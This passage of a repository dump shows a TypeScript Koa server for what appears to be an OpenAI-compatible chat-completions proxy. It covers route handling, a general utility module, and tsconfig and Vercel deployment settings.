49 | * 附加路由
50 | *
51 | * @param routes 路由列表
52 | */
53 | attachRoutes(routes: any[]) {
54 | routes.forEach((route: any) => {
55 | const prefix = route.prefix || "";
56 | for (let method in route) {
57 | if(method === "prefix") continue;
58 | if (!_.isObject(route[method])) {
59 | logger.warn(`Router ${prefix} ${method} invalid`);
60 | continue;
61 | }
62 | for (let uri in route[method]) {
63 | this.router[method](`${prefix}${uri}`, async ctx => {
64 | const { request, response } = await this.#requestProcessing(ctx, route[method][uri]);
65 | if(response != null && config.system.requestLog)
66 | logger.info(`<- ${request.method} ${request.url} ${response.time - request.time}ms`);
67 | });
68 | }
69 | }
70 | logger.info(`Route ${config.service.urlPrefix || ""}${prefix} attached`);
71 | });
72 | this.app.use(this.router.routes());
73 | this.app.use((ctx: any) => {
74 | const request = new Request(ctx);
75 | logger.debug(`-> ${ctx.request.method} ${ctx.request.url} request is not supported - ${request.remoteIP || "unknown"}`);
76 | // const failureBody = new FailureBody(new Exception(EX.SYSTEM_NOT_ROUTE_MATCHING, "Request is not supported"));
77 | // const response = new Response(failureBody);
78 | const message = `[请求有误]: 正确请求为 POST -> /v1/chat/completions,当前请求为 ${ctx.request.method} -> ${ctx.request.url} 请纠正`;
79 | logger.warn(message);
80 | const failureBody = new FailureBody(new Error(message));
81 | const response = new Response(failureBody);
82 | response.injectTo(ctx);
83 | if(config.system.requestLog)
84 | logger.info(`<- ${request.method} ${request.url} ${response.time - request.time}ms`);
85 | });
86 | }
87 |
88 | /**
89 | * 请求处理
90 | *
91 | * @param ctx 上下文
92 | * @param routeFn 路由方法
93 | */
94 | #requestProcessing(ctx: any, routeFn: Function): Promise {
95 | return new Promise(resolve => {
96 | const request = new Request(ctx);
97 | try {
98 | if(config.system.requestLog)
99 | logger.info(`-> ${request.method} ${request.url}`);
100 | routeFn(request)
101 | .then(response => {
102 | try {
103 | if(!Response.isInstance(response)) {
104 | const _response = new Response(response);
105 | _response.injectTo(ctx);
106 | return resolve({ request, response: _response });
107 | }
108 | response.injectTo(ctx);
109 | resolve({ request, response });
110 | }
111 | catch(err) {
112 | logger.error(err);
113 | const failureBody = new FailureBody(err);
114 | const response = new Response(failureBody);
115 | response.injectTo(ctx);
116 | resolve({ request, response });
117 | }
118 | })
119 | .catch(err => {
120 | try {
121 | logger.error(err);
122 | const failureBody = new FailureBody(err);
123 | const response = new Response(failureBody);
124 | response.injectTo(ctx);
125 | resolve({ request, response });
126 | }
127 | catch(err) {
128 | logger.error(err);
129 | const failureBody = new FailureBody(err);
130 | const response = new Response(failureBody);
131 | response.injectTo(ctx);
132 | resolve({ request, response });
133 | }
134 | });
135 | }
136 | catch(err) {
137 | logger.error(err);
138 | const failureBody = new FailureBody(err);
139 | const response = new Response(failureBody);
140 | response.injectTo(ctx);
141 | resolve({ request, response });
142 | }
143 | });
144 | }
145 |
146 | /**
147 | * 监听端口
148 | */
149 | async listen() {
150 | const host = config.service.host;
151 | const port = config.service.port;
152 | await Promise.all([
153 | new Promise((resolve, reject) => {
154 | if(host === "0.0.0.0" || host === "localhost" || host === "127.0.0.1")
155 | return resolve(null);
156 | this.app.listen(port, "localhost", err => {
157 | if(err) return reject(err);
158 | resolve(null);
159 | });
160 | }),
161 | new Promise((resolve, reject) => {
162 | this.app.listen(port, host, err => {
163 | if(err) return reject(err);
164 | resolve(null);
165 | });
166 | })
167 | ]);
168 | logger.success(`Server listening on port ${port} (${host})`);
169 | }
170 |
171 | }
172 |
173 | export default new Server();
--------------------------------------------------------------------------------
/src/lib/util.ts:
--------------------------------------------------------------------------------
1 | import os from "os";
2 | import path from "path";
3 | import crypto from "crypto";
4 | import { Readable, Writable } from "stream";
5 |
6 | import "colors";
7 | import mime from "mime";
8 | import fs from "fs-extra";
9 | import { v1 as uuid } from "uuid";
10 | import { format as dateFormat } from "date-fns";
11 | import CRC32 from "crc-32";
12 | import randomstring from "randomstring";
13 | import _ from "lodash";
14 | import { CronJob } from "cron";
15 |
16 | import HTTP_STATUS_CODE from "./http-status-codes.ts";
17 | import axios from "axios";
18 |
19 | const autoIdMap = new Map();
20 |
21 | const util = {
22 | is2DArrays(value: any) {
23 | return (
24 | _.isArray(value) &&
25 | (!value[0] || (_.isArray(value[0]) && _.isArray(value[value.length - 1])))
26 | );
27 | },
28 |
29 | uuid: (separator = true) => (separator ? uuid() : uuid().replace(/\-/g, "")),
30 |
31 | autoId: (prefix = "") => {
32 | let index = autoIdMap.get(prefix);
33 | if (index > 999999) index = 0; //超过最大数字则重置为0
34 | autoIdMap.set(prefix, (index || 0) + 1);
35 | return `${prefix}${index || 1}`;
36 | },
37 |
38 | ignoreJSONParse(value: string) {
39 | const result = _.attempt(() => JSON.parse(value));
40 | if (_.isError(result)) return null;
41 | return result;
42 | },
43 |
44 | generateRandomString(options: any): string {
45 | return randomstring.generate(options);
46 | },
47 |
48 | getResponseContentType(value: any): string | null {
49 | return value.headers
50 | ? value.headers["content-type"] || value.headers["Content-Type"]
51 | : null;
52 | },
53 |
54 | mimeToExtension(value: string) {
55 | let extension = mime.getExtension(value);
56 | if (extension == "mpga") return "mp3";
57 | return extension;
58 | },
59 |
60 | extractURLExtension(value: string) {
61 | const extname = path.extname(new URL(value).pathname);
62 | return extname.substring(1).toLowerCase();
63 | },
64 |
65 | createCronJob(cronPatterns: any, callback?: Function) {
66 | if (!_.isFunction(callback))
67 | throw new Error("callback must be an Function");
68 | return new CronJob(
69 | cronPatterns,
70 | () => callback(),
71 | null,
72 | false,
73 | "Asia/Shanghai"
74 | );
75 | },
76 |
77 | getDateString(format = "yyyy-MM-dd", date = new Date()) {
78 | return dateFormat(date, format);
79 | },
80 |
81 | getIPAddressesByIPv4(): string[] {
82 | const interfaces = os.networkInterfaces();
83 | const addresses = [];
84 | for (let name in interfaces) {
85 | const networks = interfaces[name];
86 | const results = networks.filter(
87 | (network) =>
88 | network.family === "IPv4" &&
89 | network.address !== "127.0.0.1" &&
90 | !network.internal
91 | );
92 | if (results[0] && results[0].address) addresses.push(results[0].address);
93 | }
94 | return addresses;
95 | },
96 |
97 | getMACAddressesByIPv4(): string[] {
98 | const interfaces = os.networkInterfaces();
99 | const addresses = [];
100 | for (let name in interfaces) {
101 | const networks = interfaces[name];
102 | const results = networks.filter(
103 | (network) =>
104 | network.family === "IPv4" &&
105 | network.address !== "127.0.0.1" &&
106 | !network.internal
107 | );
108 | if (results[0] && results[0].mac) addresses.push(results[0].mac);
109 | }
110 | return addresses;
111 | },
112 |
113 | generateSSEData(event?: string, data?: string, retry?: number) {
114 | return `event: ${event || "message"}\ndata: ${(data || "")
115 | .replace(/\n/g, "\\n")
116 | .replace(/\s/g, "\\s")}\nretry: ${retry || 3000}\n\n`;
117 | },
118 |
119 | buildDataBASE64(type, ext, buffer) {
120 | return `data:${type}/${ext.replace("jpg", "jpeg")};base64,${buffer.toString(
121 | "base64"
122 | )}`;
123 | },
124 |
125 | isLinux() {
126 | return os.platform() !== "win32";
127 | },
128 |
129 | isIPAddress(value) {
130 | return (
131 | _.isString(value) &&
132 | (/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/.test(
133 | value
134 | ) ||
135 | /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/.test(
136 | value
137 | ))
138 | );
139 | },
140 |
141 | isPort(value) {
142 | return _.isNumber(value) && value > 0 && value < 65536;
143 | },
144 |
145 | isReadStream(value): boolean {
146 | return (
147 | value &&
148 | (value instanceof Readable || "readable" in value || value.readable)
149 | );
150 | },
151 |
152 | isWriteStream(value): boolean {
153 | return (
154 | value &&
155 | (value instanceof Writable || "writable" in value || value.writable)
156 | );
157 | },
158 |
159 | isHttpStatusCode(value) {
160 | return _.isNumber(value) && Object.values(HTTP_STATUS_CODE).includes(value);
161 | },
162 |
163 | isURL(value) {
164 | return !_.isUndefined(value) && /^(http|https)/.test(value);
165 | },
166 |
167 | isSrc(value) {
168 | return !_.isUndefined(value) && /^\/.+\.[0-9a-zA-Z]+(\?.+)?$/.test(value);
169 | },
170 |
171 | isBASE64(value) {
172 | return !_.isUndefined(value) && /^[a-zA-Z0-9\/\+]+(=?)+$/.test(value);
173 | },
174 |
175 | isBASE64Data(value) {
176 | return /^data:/.test(value);
177 | },
178 |
179 | extractBASE64DataFormat(value): string | null {
180 | const match = value.trim().match(/^data:(.+);base64,/);
181 | if (!match) return null;
182 | return match[1];
183 | },
184 |
185 | removeBASE64DataHeader(value): string {
186 | return value.replace(/^data:(.+);base64,/, "");
187 | },
188 |
189 | isDataString(value): boolean {
190 | return /^(base64|json):/.test(value);
191 | },
192 |
193 | isStringNumber(value) {
194 | return _.isFinite(Number(value));
195 | },
196 |
197 | isUnixTimestamp(value) {
198 | return /^[0-9]{10}$/.test(`${value}`);
199 | },
200 |
201 | isTimestamp(value) {
202 | return /^[0-9]{13}$/.test(`${value}`);
203 | },
204 |
205 | isEmail(value) {
206 | return /^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/.test(
207 | value
208 | );
209 | },
210 |
211 | isAsyncFunction(value) {
212 | return Object.prototype.toString.call(value) === "[object AsyncFunction]";
213 | },
214 |
215 | async isAPNG(filePath) {
216 | let head;
217 | const readStream = fs.createReadStream(filePath, { start: 37, end: 40 });
218 | const readPromise = new Promise((resolve, reject) => {
219 | readStream.once("end", resolve);
220 | readStream.once("error", reject);
221 | });
222 | readStream.once("data", (data) => (head = data));
223 | await readPromise;
224 | return head.compare(Buffer.from([0x61, 0x63, 0x54, 0x4c])) === 0;
225 | },
226 |
227 | unixTimestamp() {
228 | return parseInt(`${Date.now() / 1000}`);
229 | },
230 |
231 | timestamp() {
232 | return Date.now();
233 | },
234 |
235 | urlJoin(...values) {
236 | let url = "";
237 | for (let i = 0; i < values.length; i++)
238 | url += `${i > 0 ? "/" : ""}${values[i]
239 | .replace(/^\/*/, "")
240 | .replace(/\/*$/, "")}`;
241 | return url;
242 | },
243 |
244 | millisecondsToHmss(milliseconds) {
245 | if (_.isString(milliseconds)) return milliseconds;
246 | milliseconds = parseInt(milliseconds);
247 | const sec = Math.floor(milliseconds / 1000);
248 | const hours = Math.floor(sec / 3600);
249 | const minutes = Math.floor((sec - hours * 3600) / 60);
250 | const seconds = sec - hours * 3600 - minutes * 60;
251 | const ms = (milliseconds % 60000) - seconds * 1000;
252 | return `${hours > 9 ? hours : "0" + hours}:${
253 | minutes > 9 ? minutes : "0" + minutes
254 | }:${seconds > 9 ? seconds : "0" + seconds}.${ms}`;
255 | },
256 |
257 | millisecondsToTimeString(milliseconds) {
258 | if (milliseconds < 1000) return `${milliseconds}ms`;
259 | if (milliseconds < 60000)
260 | return `${parseFloat((milliseconds / 1000).toFixed(2))}s`;
261 | return `${Math.floor(milliseconds / 1000 / 60)}m${Math.floor(
262 | (milliseconds / 1000) % 60
263 | )}s`;
264 | },
265 |
266 | rgbToHex(r, g, b): string {
267 | return ((1 << 24) + (r << 16) + (g << 8) + b).toString(16).slice(1);
268 | },
269 |
270 | hexToRgb(hex) {
271 | const value = parseInt(hex.replace(/^#/, ""), 16);
272 | return [(value >> 16) & 255, (value >> 8) & 255, value & 255];
273 | },
274 |
275 | md5(value) {
276 | return crypto.createHash("md5").update(value).digest("hex");
277 | },
278 |
279 | crc32(value) {
280 | return _.isBuffer(value) ? CRC32.buf(value) : CRC32.str(value);
281 | },
282 |
283 | arrayParse(value): any[] {
284 | return _.isArray(value) ? value : [value];
285 | },
286 |
287 | booleanParse(value) {
288 | return value === "true" || value === true ? true : false;
289 | },
290 |
291 | encodeBASE64(value) {
292 | return Buffer.from(value).toString("base64");
293 | },
294 |
295 | decodeBASE64(value) {
296 | return Buffer.from(value, "base64").toString();
297 | },
298 |
299 | async fetchFileBASE64(url: string) {
300 | const result = await axios.get(url, {
301 | responseType: "arraybuffer",
302 | });
303 | return result.data.toString("base64");
304 | },
305 | };
306 |
307 | export default util;
308 |
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "baseUrl": ".",
4 | "module": "NodeNext",
5 | "moduleResolution": "NodeNext",
6 | "allowImportingTsExtensions": true,
7 | "allowSyntheticDefaultImports": true,
8 | "noEmit": true,
9 | "paths": {
10 | "@/*": ["src/*"]
11 | },
12 | "outDir": "./dist"
13 | },
14 | "include": ["src/**/*", "libs.d.ts"],
15 | "exclude": ["node_modules", "dist"]
16 | }
--------------------------------------------------------------------------------
/vercel.json:
--------------------------------------------------------------------------------
1 | {
2 | "builds": [
3 | {
4 | "src": "./dist/*.html",
5 | "use": "@vercel/static"
6 | },
7 | {
8 | "src": "./dist/index.js",
9 | "use": "@vercel/node"
10 | }
11 | ],
12 | "routes": [
13 | {
14 | "src": "/",
15 | "dest": "/dist/welcome.html"
16 | },
17 | {
18 | "src": "/(.*)",
19 | "dest": "/dist",
20 | "headers": {
21 | "Access-Control-Allow-Credentials": "true",
22 | "Access-Control-Allow-Methods": "GET,OPTIONS,PATCH,DELETE,POST,PUT",
23 | "Access-Control-Allow-Headers": "X-CSRF-Token, X-Requested-With, Accept, Accept-Version, Content-Length, Content-MD5, Content-Type, Date, X-Api-Version, Content-Type, Authorization"
24 | }
25 | }
26 | ]
27 | }
--------------------------------------------------------------------------------